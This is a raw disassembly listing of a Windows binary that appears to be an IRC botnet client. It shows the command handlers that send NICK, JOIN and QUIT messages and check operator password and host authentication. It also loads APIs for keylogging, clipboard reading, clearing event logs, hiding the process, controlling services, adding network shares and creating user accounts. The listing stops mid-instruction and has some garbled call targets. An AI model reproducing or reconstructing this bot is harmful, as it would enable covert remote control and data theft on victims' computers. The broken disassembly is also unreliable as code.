loc_4094B3: ; CODE XREF: sub_401ACD+79DAj push offset unk_429E18 jmp loc_406CD0 ; --------------------------------------------------------------------------- loc_4094BD: ; CODE XREF: sub_401ACD+3E4Aj ; sub_401ACD+3E5Fj mov eax, [ebp+arg_10] mov cl, [eax] mov byte_429094, cl movsx eax, byte ptr [eax] push eax push offset unk_429DF0 jmp loc_4049EC ; --------------------------------------------------------------------------- loc_4094D6: ; CODE XREF: sub_401ACD+3E20j ; sub_401ACD+3E35j push [ebp+arg_10] call sub_41B779 test eax, eax pop ecx jle loc_409855 push [ebp+arg_10] call sub_41B779 cmp eax, 400h pop ecx jge loc_409855 push ebx push ebx lea eax, [ebp+var_A0] push 2 push eax call sub_40B08E add esp, 10h push eax lea eax, [ebp+var_2C4] push offset dword_42BB58 push eax call sub_41B886 add esp, 0Ch jmp loc_408995 ; --------------------------------------------------------------------------- loc_409528: ; CODE XREF: sub_401ACD+3DF6j ; sub_401ACD+3E0Bj mov esi, [ebp+arg_10] push esi call sub_41B779 test eax, eax pop ecx jle loc_401E94 push esi call sub_41B779 cmp eax, 400h pop ecx jge loc_401E94 push offset aQuitLater ; "QUIT :later\r\n" push esi call sub_41B779 imul eax, 234h pop ecx push dword_43E59C[eax] call sub_409A2D pop ecx pop ecx push 1F4h call near ptr 2680000h nop push esi call sub_41B779 imul eax, 234h pop ecx push dword_43E59C[eax] call dword_4CB6EC push [ebp+var_10] push esi call sub_41B779 imul eax, 234h pop ecx push dword_43E5A4[eax] nop call near ptr 2690B5Dh push esi call sub_41B779 imul eax, 234h push esi mov dword_43E5A4[eax], ebx call sub_41B779 imul eax, 234h pop ecx pop ecx mov byte ptr dword_43E390[eax], bl jmp loc_401E94 ; --------------------------------------------------------------------------- loc_4095D6: ; CODE XREF: sub_401ACD+3DCCj ; sub_401ACD+3DE1j push [ebp+arg_10] push offset aAll ; "all" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_409642 call sub_40B2C0 cmp eax, ebx jle short loc_4095FD push eax push offset unk_429DC4 jmp loc_408CDC ; --------------------------------------------------------------------------- loc_4095FD: ; CODE XREF: sub_401ACD+7B23j push offset unk_429D9C loc_409602: ; CODE XREF: sub_401ACD+24FAj ; sub_401ACD+2519j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx loc_409610: ; CODE XREF: sub_401ACD+721Ej cmp [ebp+var_8], ebx jnz short loc_409631 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] loc_409629: ; CODE XREF: sub_401ACD+6DB5j call sub_409A73 add esp, 14h loc_409631: ; CODE XREF: sub_401ACD+26F7j ; sub_401ACD+2722j ... lea eax, [ebp+var_2C4] push eax call sub_4151AD jmp loc_40207D ; --------------------------------------------------------------------------- loc_409642: ; CODE XREF: sub_401ACD+7B1Aj mov eax, [ebp+var_AC] lea edi, [eax+1] cmp edi, 20h jnb loc_401E94 lea eax, [ebp+edi*4+var_90] mov [ebp+arg_24], eax loc_40965E: ; CODE XREF: sub_401ACD+7C02j mov eax, [ebp+arg_24] mov esi, [eax] cmp esi, ebx jz loc_401E94 push esi call sub_41B779 push eax call sub_40B232 pop ecx pop ecx test eax, eax push esi jz short loc_409685 push offset unk_429D78 jmp short loc_40968A ; --------------------------------------------------------------------------- loc_409685: ; CODE XREF: sub_401ACD+7BAFj push offset unk_429D4C loc_40968A: ; CODE XREF: sub_401ACD+7BB6j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_4096BA push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A73 add esp, 14h loc_4096BA: ; CODE XREF: sub_401ACD+7BCFj lea eax, [ebp+var_2C4] push eax call sub_4151AD add [ebp+arg_24], 4 inc edi cmp edi, 20h pop ecx jb short loc_40965E jmp loc_401E94 ; --------------------------------------------------------------------------- loc_4096D6: ; CODE XREF: sub_401ACD+3DA2j ; sub_401ACD+3DB7j cmp [ebp+var_C], ebx jz loc_409855 push [ebp+arg_10] push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409855 push esi push offset dword_42A4B8 push [ebp+arg_4] call sub_409A2D add esp, 0Ch push esi push offset dword_429D30 jmp loc_40984E ; --------------------------------------------------------------------------- loc_409712: ; CODE XREF: sub_401ACD+3D78j ; sub_401ACD+3D8Dj push [ebp+arg_10] push offset dword_42A41C push [ebp+arg_4] call sub_409A2D add esp, 0Ch push [ebp+arg_10] push offset unk_429D0C jmp loc_40984E ; --------------------------------------------------------------------------- loc_409732: ; CODE XREF: sub_401ACD+3D4Ej ; sub_401ACD+3D63j push [ebp+esi+var_88] push [ebp+arg_10] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409A2D add esp, 10h push [ebp+arg_10] push offset unk_429CE8 jmp loc_40984E ; --------------------------------------------------------------------------- loc_409759: ; CODE XREF: sub_401ACD+3D24j ; sub_401ACD+3D39j push [ebp+arg_10] push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_409A2D add esp, 0Ch push [ebp+arg_10] push offset unk_429CC4 jmp loc_40984E ; --------------------------------------------------------------------------- loc_409779: ; CODE XREF: sub_401ACD+3164j ; sub_401ACD+3179j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_409A2D pop ecx lea eax, [ebp+var_2C4] pop ecx push [ebp+arg_10] push offset unk_429CA0 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_4151AD push [ebp+arg_10] call sub_41B779 add esp, 14h loc_4097B3: ; CODE XREF: sub_401ACD+7D34j push eax nop call near ptr 2680000h loc_4097BA: ; CODE XREF: sub_401ACD+2AA3j xor eax, eax jmp loc_401E97 ; --------------------------------------------------------------------------- loc_4097C1: ; CODE XREF: sub_401ACD+313Aj ; sub_401ACD+314Fj push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_409A2D pop ecx lea eax, [ebp+var_2C4] pop ecx push [ebp+arg_10] push offset unk_429C78 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_4151AD push [ebp+arg_10] call sub_41B779 add esp, 14h imul eax, 3E8h jmp short loc_4097B3 ; --------------------------------------------------------------------------- loc_409803: ; CODE XREF: sub_401ACD+EC9j ; sub_401ACD+EDEj push [ebp+esi+var_8C] xor eax, eax cmp [ebp+var_8F0], bl setnz al push eax lea eax, [ebp+var_338] push dword_42909C push eax call sub_40B08E add esp, 10h lea eax, [ebp+var_338] push eax push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_409A2D add esp, 0Ch lea eax, [ebp+var_338] push eax push offset unk_429C54 loc_40984E: ; CODE XREF: sub_401ACD+70B5j ; sub_401ACD+778Bj ... call sub_415221 pop ecx loc_409854: ; CODE XREF: sub_401ACD+6CBAj pop ecx loc_409855: ; CODE XREF: sub_401ACD+659j ; sub_401ACD+665j ... mov eax, [ebp+arg_24] jmp loc_401E97 ; --------------------------------------------------------------------------- loc_40985D: ; CODE XREF: sub_401ACD+AB4j ; sub_401ACD+AC9j mov esi, [ebp+esi+var_8C] cmp esi, ebx mov [ebp+arg_10], esi jz loc_401E94 cmp [ebp+var_A4], ebx jnz loc_401E94 push offset asc_42D120 ; "!" push [ebp+var_90] call sub_41C0F4 mov esi, eax push offset dword_4CB50C push ebx inc esi call sub_41C0F4 push offset asc_429C50 ; "~" push eax call sub_41C0F4 push [ebp+arg_10] mov edi, eax push offset aCool ; "cool" call sub_41C070 add esp, 20h test eax, eax jz short loc_4098FC lea eax, [ebp+var_C4] push edi push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n" push [ebp+arg_4] call sub_409A2D add esp, 14h lea eax, [ebp+var_C4] push eax push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"... push [ebp+arg_4] call sub_409A2D add esp, 0Ch push edi push esi push offset unk_429BD0 jmp loc_40240A ; --------------------------------------------------------------------------- loc_4098FC: ; CODE XREF: sub_401ACD+7DEBj mov [ebp+arg_24], offset off_429160 loc_409903: ; CODE XREF: sub_401ACD+7E52j mov eax, [ebp+arg_24] push edi push dword ptr [eax] call sub_40B450 pop ecx test eax, eax pop ecx jnz short loc_409963 add [ebp+arg_24], 4 cmp [ebp+arg_24], offset off_429164 jb short loc_409903 lea eax, [ebp+var_C4] push edi push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n" push [ebp+arg_4] call sub_409A2D add esp, 14h lea eax, [ebp+var_C4] push eax push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"... push [ebp+arg_4] call sub_409A2D add esp, 0Ch push edi push esi push offset unk_429B7C jmp loc_40240A ; --------------------------------------------------------------------------- loc_409963: ; CODE XREF: sub_401ACD+7E45j mov edi, [ebp+arg_18] xor esi, esi loc_409968: ; CODE XREF: sub_401ACD+7EC5j cmp [ebp+arg_10], ebx jz loc_401E94 cmp [edi], bl jnz short loc_409988 push [ebp+arg_10] push offset aCool ; "cool" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_409999 loc_409988: ; CODE XREF: sub_401ACD+7EA6j inc esi add edi, 80h cmp esi, 3 jl short loc_409968 jmp loc_401E94 ; --------------------------------------------------------------------------- loc_409999: ; CODE XREF: sub_401ACD+7EB9j shl esi, 7 add esi, [ebp+arg_18] lea eax, [ebp+var_E00] push 7Fh push eax push esi call sub_41B5F0 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_4099D0 push ebx push [ebp+var_4] push offset unk_429B5C push [ebp+var_88] push [ebp+arg_4] call sub_409A73 add esp, 14h loc_4099D0: ; CODE XREF: sub_401ACD+7EE7j lea eax, [ebp+var_C4] push eax push offset unk_429B3C jmp loc_402077 ; --------------------------------------------------------------------------- loc_4099E1: ; CODE XREF: sub_401ACD+20Ej ; sub_401ACD+223j push [ebp+arg_10] push offset aUserhostS ; "USERHOST %s\r\n" push [ebp+arg_4] call sub_409A2D add esp, 0Ch push offset aXI ; "-x+i" push [ebp+arg_10] push offset aModeSS_0 ; "MODE %s %s\r\n" push [ebp+arg_4] call sub_409A2D add esp, 10h push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409A2D add esp, 10h mov dword_4CB504, edi jmp loc_401D6A sub_401ACD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409A2D proc near ; CODE XREF: sub_401955+3Dp ; sub_401ACD+1CBp ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 200h lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push 200h push eax call sub_41C190 add esp, 10h lea eax, [ebp+var_200] push 0 push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4CB6A4 leave retn sub_409A2D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409A73 proc near ; CODE XREF: sub_401ACD+518p ; sub_401ACD+137Ep ... var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 400h cmp [ebp+arg_C], 0 push esi push edi mov edi, offset aNotice ; "NOTICE" jnz short loc_409A8E mov edi, offset aPrivmsg ; "PRIVMSG" loc_409A8E: ; CODE XREF: sub_409A73+14j push edi call sub_41AFE0 push [ebp+arg_4] mov esi, 1FAh sub esi, eax call sub_41AFE0 pop ecx sub esi, eax pop ecx lea eax, [ebp+var_400] push [ebp+arg_8] push offset aS_1 ; "%s" push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_400] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push edi push offset aSSS_0 ; "%s %s :%s\r\n" push eax call sub_41B886 add esp, 14h lea eax, [ebp+var_200] push 0 push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4CB6A4 cmp [ebp+arg_10], 0 pop edi pop esi jz short locret_409B11 push 7D0h nop call near ptr 2680000h locret_409B11: ; CODE XREF: sub_409A73+91j leave retn sub_409A73 endp ; =============== S U B R O U T I N E ======================================= sub_409B13 proc near ; CODE XREF: ___:0040126Cp push ebx push ebp mov ebp, dword_42709C push esi push edi push offset aKernel32_dll ; "kernel32.dll" call ebp mov esi, dword_4270BC mov edi, eax xor ebx, ebx cmp edi, ebx jz loc_409C33 push offset aSeterrormode ; "SetErrorMode" push edi call esi push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push edi mov dword_4CB700, eax call esi push offset aProcess32first ; "Process32First" push edi mov dword_4CB674, eax call esi push offset aProcess32next ; "Process32Next" push edi mov dword_4CB658, eax call esi push offset aModule32first ; "Module32First" push edi mov dword_4CB568, eax call esi push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA" push edi mov dword_4CB514, eax call esi push offset aGetlogicaldriv ; "GetLogicalDriveStringsA" push edi mov dword_4CB544, eax call esi push offset aGetdrivetypea ; "GetDriveTypeA" push edi mov dword_4CB5BC, eax call esi push offset aSearchpatha ; "SearchPathA" push edi mov dword_4CB6B4, eax call esi push offset aQueryperforman ; "QueryPerformanceCounter" push edi mov dword_4CB710, eax call esi push offset aQueryperform_0 ; "QueryPerformanceFrequency" push edi mov dword_4CB574, eax call esi cmp dword_4CB700, ebx mov dword_4CB55C, eax jz short loc_409C11 cmp dword_4CB674, ebx jz short loc_409C11 cmp dword_4CB658, ebx jz short loc_409C11 cmp dword_4CB568, ebx jz short loc_409C11 cmp dword_4CB544, ebx jz short loc_409C11 cmp dword_4CB5BC, ebx jz short loc_409C11 cmp dword_4CB6B4, ebx jz short loc_409C11 cmp dword_4CB710, ebx jz short loc_409C11 cmp dword_4CB574, ebx jz short loc_409C11 cmp eax, ebx jnz short loc_409C1B loc_409C11: ; CODE XREF: sub_409B13+B8j ; sub_409B13+C0j ... mov dword_4CB714, 1 loc_409C1B: ; CODE XREF: sub_409B13+FCj push offset aRegisterservic ; "RegisterServiceProcess" push edi call esi cmp eax, ebx mov dword_4CB68C, eax jz short loc_409C48 push 1 push ebx call eax jmp short loc_409C48 ; --------------------------------------------------------------------------- loc_409C33: ; CODE XREF: sub_409B13+1Dj call near ptr 2680ABEh nop mov dword_4CB718, eax mov dword_4CB714, 1 loc_409C48: ; CODE XREF: sub_409B13+117j ; sub_409B13+11Ej push offset aUser32_dll ; "user32.dll" call near ptr 26A0B0Dh nop mov edi, eax cmp edi, ebx jz loc_409D5D push offset aSendmessagea ; "SendMessageA" push edi call esi push offset aFindwindowa ; "FindWindowA" push edi mov dword_4CB6B0, eax call esi push offset aIswindow ; "IsWindow" push edi mov dword_4CB660, eax call esi push offset aDestroywindow ; "DestroyWindow" push edi mov dword_4CB5F4, eax call esi push offset aOpenclipboard ; "OpenClipboard" push edi mov dword_4CB704, eax call esi push offset aGetclipboardda ; "GetClipboardData" push edi mov dword_4CB624, eax call esi push offset aCloseclipboard ; "CloseClipboard" push edi mov dword_4CB644, eax call esi push offset aExitwindowsex ; "ExitWindowsEx" push edi mov dword_4CB6A8, eax call esi cmp dword_4CB6B0, ebx mov dword_4CB594, eax jz short loc_409D01 cmp dword_4CB660, ebx jz short loc_409D01 cmp dword_4CB5F4, ebx jz short loc_409D01 cmp dword_4CB704, ebx jz short loc_409D01 cmp dword_4CB624, ebx jz short loc_409D01 cmp dword_4CB644, ebx jz short loc_409D01 cmp dword_4CB6A8, ebx jz short loc_409D01 cmp eax, ebx jnz short loc_409D0B loc_409D01: ; CODE XREF: sub_409B13+1B8j ; sub_409B13+1C0j ... mov dword_4CB71C, 1 loc_409D0B: ; CODE XREF: sub_409B13+1ECj push offset aGetasynckeysta ; "GetAsyncKeyState" push edi call esi push offset aGetkeystate ; "GetKeyState" push edi mov dword_4CB620, eax call esi push offset aGetwindowtexta ; "GetWindowTextA" push edi mov dword_4CB528, eax call esi push offset aGetforegroundw ; "GetForegroundWindow" push edi mov dword_4CB5F0, eax call esi cmp dword_4CB620, ebx mov dword_4CB5D8, eax jz short loc_409D68 cmp dword_4CB528, ebx jz short loc_409D68 cmp dword_4CB5F0, ebx jz short loc_409D68 cmp eax, ebx jnz short loc_409D72 jmp short loc_409D68 ; --------------------------------------------------------------------------- loc_409D5D: ; CODE XREF: sub_409B13+144j nop call near ptr 2680ABEh mov dword_4CB720, eax loc_409D68: ; CODE XREF: sub_409B13+232j ; sub_409B13+23Aj ... mov dword_4CB71C, 1 loc_409D72: ; CODE XREF: sub_409B13+246j push offset aAdvapi32_dll ; "advapi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_409F2B push offset aRegopenkeyexa ; "RegOpenKeyExA" push edi call esi push offset aRegcreatekeyex ; "RegCreateKeyExA" push edi mov dword_4CB6C4, eax call esi push offset aRegsetvalueexa ; "RegSetValueExA" push edi mov dword_4CB608, eax call esi push offset aRegqueryvaluee ; "RegQueryValueExA" push edi mov dword_4CB678, eax call esi push offset aRegdeletevalue ; "RegDeleteValueA" push edi mov dword_4CB554, eax call esi push offset aRegclosekey ; "RegCloseKey" push edi mov dword_4CB5B8, eax call esi push offset aOpeneventloga ; "OpenEventLogA" push edi mov dword_4CB630, eax call esi push offset aCleareventloga ; "ClearEventLogA" push edi mov dword_4CB5D4, eax call esi cmp dword_4CB6C4, ebx mov dword_4CB5E4, eax jz short loc_409E1B cmp dword_4CB608, ebx jz short loc_409E1B cmp dword_4CB678, ebx jz short loc_409E1B cmp dword_4CB554, ebx jz short loc_409E1B cmp dword_4CB5B8, ebx jz short loc_409E1B cmp dword_4CB630, ebx jnz short loc_409E25 loc_409E1B: ; CODE XREF: sub_409B13+2DEj ; sub_409B13+2E6j ... mov dword_4CB724, 1 loc_409E25: ; CODE XREF: sub_409B13+306j push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi mov dword_4CB638, eax call esi push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi mov dword_4CB610, eax call esi cmp dword_4CB638, ebx mov dword_4CB6C0, eax jz short loc_409E60 cmp dword_4CB610, ebx jz short loc_409E60 cmp eax, ebx jnz short loc_409E6A loc_409E60: ; CODE XREF: sub_409B13+33Fj ; sub_409B13+347j mov dword_4CB724, 1 loc_409E6A: ; CODE XREF: sub_409B13+34Bj push offset aOpenscmanagera ; "OpenSCManagerA" push edi call esi push offset aOpenservicea ; "OpenServiceA" push edi mov dword_4CB648, eax call esi push offset aStartservicea ; "StartServiceA" push edi mov dword_4CB530, eax call esi push offset aControlservice ; "ControlService" push edi mov dword_4CB538, eax call esi push offset aDeleteservice ; "DeleteService" push edi mov dword_4CB59C, eax call esi push offset aCloseserviceha ; "CloseServiceHandle" push edi mov dword_4CB5A0, eax call esi push offset aEnumservicesst ; "EnumServicesStatusA" push edi mov dword_4CB54C, eax call esi push offset aIsvalidsecurit ; "IsValidSecurityDescriptor" push edi mov dword_4CB614, eax call esi cmp dword_4CB648, ebx mov dword_4CB53C, eax jz short loc_409F0E cmp dword_4CB530, ebx jz short loc_409F0E cmp dword_4CB538, ebx jz short loc_409F0E cmp dword_4CB59C, ebx jz short loc_409F0E cmp dword_4CB5A0, ebx jz short loc_409F0E cmp dword_4CB54C, ebx jz short loc_409F0E cmp dword_4CB614, ebx jz short loc_409F0E cmp eax, ebx jnz short loc_409F18 loc_409F0E: ; CODE XREF: sub_409B13+3C5j ; sub_409B13+3CDj ... mov dword_4CB724, 1 loc_409F18: ; CODE XREF: sub_409B13+3F9j push offset aGetusernamea ; "GetUserNameA" push edi call esi cmp eax, ebx mov dword_4CB534, eax jnz short loc_409F40 jmp short loc_409F36 ; --------------------------------------------------------------------------- loc_409F2B: ; CODE XREF: sub_409B13+26Aj nop call near ptr 2680ABEh mov dword_4CB728, eax loc_409F36: ; CODE XREF: sub_409B13+416j mov dword_4CB724, 1 loc_409F40: ; CODE XREF: sub_409B13+414j push offset aGdi32_dll ; "gdi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A00C push offset aCreatedca ; "CreateDCA" push edi call esi push offset aCreatedibsecti ; "CreateDIBSection" push edi mov dword_4CB640, eax call esi push offset aCreatecompatib ; "CreateCompatibleDC" push edi mov dword_4CB698, eax call esi push offset aGetdevicecaps ; "GetDeviceCaps" push edi mov dword_4CB6A0, eax call esi push offset aGetdibcolortab ; "GetDIBColorTable" push edi mov dword_4CB65C, eax call esi push offset aSelectobject ; "SelectObject" push edi mov dword_4CB578, eax call esi push offset aBitblt ; "BitBlt" push edi mov dword_4CB524, eax call esi push offset aDeletedc ; "DeleteDC" push edi mov dword_4CB69C, eax call esi push offset aDeleteobject ; "DeleteObject" push edi mov dword_4CB510, eax call esi cmp dword_4CB640, ebx mov dword_4CB5B0, eax jz short loc_40A017 cmp dword_4CB698, ebx jz short loc_40A017 cmp dword_4CB6A0, ebx jz short loc_40A017 cmp dword_4CB65C, ebx jz short loc_40A017 cmp dword_4CB578, ebx jz short loc_40A017 cmp dword_4CB524, ebx jz short loc_40A017 cmp dword_4CB69C, ebx jz short loc_40A017 cmp dword_4CB510, ebx jz short loc_40A017 cmp eax, ebx jnz short loc_40A021 jmp short loc_40A017 ; --------------------------------------------------------------------------- loc_40A00C: ; CODE XREF: sub_409B13+438j nop call near ptr 2680ABEh mov dword_4CB730, eax loc_40A017: ; CODE XREF: sub_409B13+4B9j ; sub_409B13+4C1j ... mov dword_4CB72C, 1 loc_40A021: ; CODE XREF: sub_409B13+4F5j mov ebp, dword_4270B8 push offset aWs2_32_dll ; "ws2_32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A2DD push offset aWsastartup ; "WSAStartup" push edi call esi push offset aWsasocketa ; "WSASocketA" push edi mov dword_4CB5C4, eax call esi push offset aWsaasyncselect ; "WSAAsyncSelect" push edi mov dword_4CB6F8, eax call esi push offset a__wsafdisset ; "__WSAFDIsSet" push edi mov dword_4CB564, eax call esi push offset aWsaioctl ; "WSAIoctl" push edi mov dword_4CB540, eax call esi push offset aWsagetlasterro ; "WSAGetLastError" push edi mov dword_4CB600, eax call esi push offset aWsacleanup ; "WSACleanup" push edi mov dword_4CB5E8, eax call esi push offset aSocket ; "socket" push edi mov dword_4CB5AC, eax call esi push offset aIoctlsocket ; "ioctlsocket" push edi mov dword_4CB6D4, eax call esi push offset aConnect ; "connect" push edi mov dword_4CB6F0, eax call esi push offset aInet_ntoa ; "inet_ntoa" push edi mov dword_4CB5FC, eax call esi push offset aInet_addr ; "inet_addr" push edi mov dword_4CB6E0, eax call esi push offset aHtons ; "htons" push edi mov dword_4CB694, eax call esi push offset aHtonl ; "htonl" push edi mov dword_4CB654, eax call esi push offset aNtohs ; "ntohs" push edi mov dword_4CB650, eax call esi push offset aNtohl ; "ntohl" push edi mov dword_4CB584, eax call esi push offset aSend ; "send" push edi mov dword_4CB57C, eax call esi push offset aSendto ; "sendto" push edi mov dword_4CB6A4, eax call esi push offset aRecv ; "recv" push edi mov dword_4CB6B8, eax call esi push offset aRecvfrom ; "recvfrom" push edi mov dword_4CB66C, eax call esi mov dword_4CB62C, eax push offset aBind ; "bind" push edi call esi push offset aSelect ; "select" push edi mov dword_4CB680, eax call esi push offset aListen ; "listen" push edi mov dword_4CB63C, eax call esi push offset aAccept ; "accept" push edi mov dword_4CB67C, eax call esi push offset aSetsockopt ; "setsockopt" push edi mov dword_4CB6E8, eax call esi push offset aGetsockname ; "getsockname" push edi mov dword_4CB634, eax call esi push offset aGethostname ; "gethostname" push edi mov dword_4CB5F8, eax call esi push offset aGethostbyname ; "gethostbyname" push edi mov dword_4CB668, eax call esi push offset aGethostbyaddr ; "gethostbyaddr" push edi mov dword_4CB6D8, eax call esi push offset aGetpeername ; "getpeername" push edi mov dword_4CB60C, eax call esi push offset aClosesocket ; "closesocket" push edi mov dword_4CB5A8, eax call esi cmp dword_4CB5C4, ebx mov dword_4CB6EC, eax jz loc_40A2E8 cmp dword_4CB6F8, ebx jz loc_40A2E8 cmp dword_4CB564, ebx jz loc_40A2E8 cmp dword_4CB600, ebx jz loc_40A2E8 cmp dword_4CB5E8, ebx jz loc_40A2E8 cmp dword_4CB5AC, ebx jz loc_40A2E8 cmp dword_4CB6D4, ebx jz loc_40A2E8 cmp dword_4CB6F0, ebx jz loc_40A2E8 cmp dword_4CB5FC, ebx jz loc_40A2E8 cmp dword_4CB6E0, ebx jz loc_40A2E8 cmp dword_4CB694, ebx jz loc_40A2E8 cmp dword_4CB654, ebx jz loc_40A2E8 cmp dword_4CB650, ebx jz loc_40A2E8 cmp dword_4CB584, ebx jz short loc_40A2E8 cmp dword_4CB6A4, ebx jz short loc_40A2E8 cmp dword_4CB6B8, ebx jz short loc_40A2E8 cmp dword_4CB66C, ebx jz short loc_40A2E8 cmp dword_4CB62C, ebx jz short loc_40A2E8 cmp dword_4CB680, ebx jz short loc_40A2E8 cmp dword_4CB63C, ebx jz short loc_40A2E8 cmp dword_4CB67C, ebx jz short loc_40A2E8 cmp dword_4CB6E8, ebx jz short loc_40A2E8 cmp dword_4CB634, ebx jz short loc_40A2E8 cmp dword_4CB5F8, ebx jz short loc_40A2E8 cmp dword_4CB668, ebx jz short loc_40A2E8 cmp dword_4CB6D8, ebx jz short loc_40A2E8 cmp dword_4CB60C, ebx jz short loc_40A2E8 cmp eax, ebx jnz short loc_40A2F2 jmp short loc_40A2E8 ; --------------------------------------------------------------------------- loc_40A2DD: ; CODE XREF: sub_409B13+51Fj call near ptr 2680ABEh nop mov dword_4CB738, eax loc_40A2E8: ; CODE XREF: sub_409B13+6BEj ; sub_409B13+6CAj ... mov dword_4CB734, 1 loc_40A2F2: ; CODE XREF: sub_409B13+7C6j push offset aWininet_dll ; "wininet.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A3F7 push offset aInternetgetcon ; "InternetGetConnectedState" push edi call esi push offset aInternetgetc_0 ; "InternetGetConnectedStateEx" push edi mov dword_4CB590, eax call esi push offset aHttpopenreques ; "HttpOpenRequestA" push edi mov dword_4CB518, eax call esi push offset aHttpsendreques ; "HttpSendRequestA" push edi mov dword_4CB61C, eax call esi push offset aInternetconnec ; "InternetConnectA" push edi mov dword_4CB5C8, eax call esi push offset aInternetopena ; "InternetOpenA" push edi mov dword_4CB628, eax call esi push offset aInternetopenur ; "InternetOpenUrlA" push edi mov dword_4CB5EC, eax call esi push offset aInternetcracku ; "InternetCrackUrlA" push edi mov dword_4CB558, eax call esi push offset aInternetreadfi ; "InternetReadFile" push edi mov dword_4CB550, eax call esi push offset aInternetcloseh ; "InternetCloseHandle" push edi mov dword_4CB560, eax call esi cmp dword_4CB590, ebx mov ecx, dword_4CB5EC mov dword_4CB688, eax jz short loc_40A3D3 cmp dword_4CB518, ebx jz short loc_40A3D3 cmp dword_4CB61C, ebx jz short loc_40A3D3 cmp dword_4CB5C8, ebx jz short loc_40A3D3 cmp dword_4CB628, ebx jz short loc_40A3D3 cmp ecx, ebx jz short loc_40A3D3 cmp dword_4CB558, ebx jz short loc_40A3D3 cmp dword_4CB550, ebx jz short loc_40A3D3 cmp dword_4CB560, ebx jz short loc_40A3D3 cmp eax, ebx jnz short loc_40A3DD loc_40A3D3: ; CODE XREF: sub_409B13+87Ej ; sub_409B13+886j ... mov dword_4CB73C, 1 loc_40A3DD: ; CODE XREF: sub_409B13+8BEj cmp ecx, ebx jz short loc_40A412 push ebx push ebx push ebx push ebx push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)" call ecx cmp eax, ebx mov dword_4CB604, eax jnz short loc_40A412 jmp short loc_40A40C ; --------------------------------------------------------------------------- loc_40A3F7: ; CODE XREF: sub_409B13+7EAj nop call near ptr 2680ABEh mov dword_4CB740, eax mov dword_4CB73C, 1 loc_40A40C: ; CODE XREF: sub_409B13+8E2j mov dword_4CB604, ebx loc_40A412: ; CODE XREF: sub_409B13+8CCj ; sub_409B13+8E0j push offset aIcmp_dll ; "icmp.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A45C push offset aIcmpcreatefile ; "IcmpCreateFile" push edi call esi push offset aIcmpclosehandl ; "IcmpCloseHandle" push edi mov dword_4CB5DC, eax call esi push offset aIcmpsendecho ; "IcmpSendEcho" push edi mov dword_4CB70C, eax call esi cmp dword_4CB5DC, ebx mov dword_4CB56C, eax jz short loc_40A467 cmp dword_4CB70C, ebx jz short loc_40A467 cmp eax, ebx jnz short loc_40A471 jmp short loc_40A467 ; --------------------------------------------------------------------------- loc_40A45C: ; CODE XREF: sub_409B13+90Aj call near ptr 2680ABEh nop mov dword_4CB748, eax loc_40A467: ; CODE XREF: sub_409B13+939j ; sub_409B13+941j ... mov dword_4CB744, 1 loc_40A471: ; CODE XREF: sub_409B13+945j push offset aNetapi32_dll ; "netapi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A578 push offset aNetshareadd ; "NetShareAdd" push edi call esi push offset aNetsharedel ; "NetShareDel" push edi mov dword_4CB548, eax call esi push offset aNetshareenum ; "NetShareEnum" push edi mov dword_4CB520, eax call esi push offset aNetschedulejob ; "NetScheduleJobAdd" push edi mov dword_4CB598, eax call esi push offset aNetapibufferfr ; "NetApiBufferFree" push edi mov dword_4CB5CC, eax call esi push offset aNetremotetod ; "NetRemoteTOD" push edi mov dword_4CB6E4, eax call esi push offset aNetuseradd ; "NetUserAdd" push edi mov 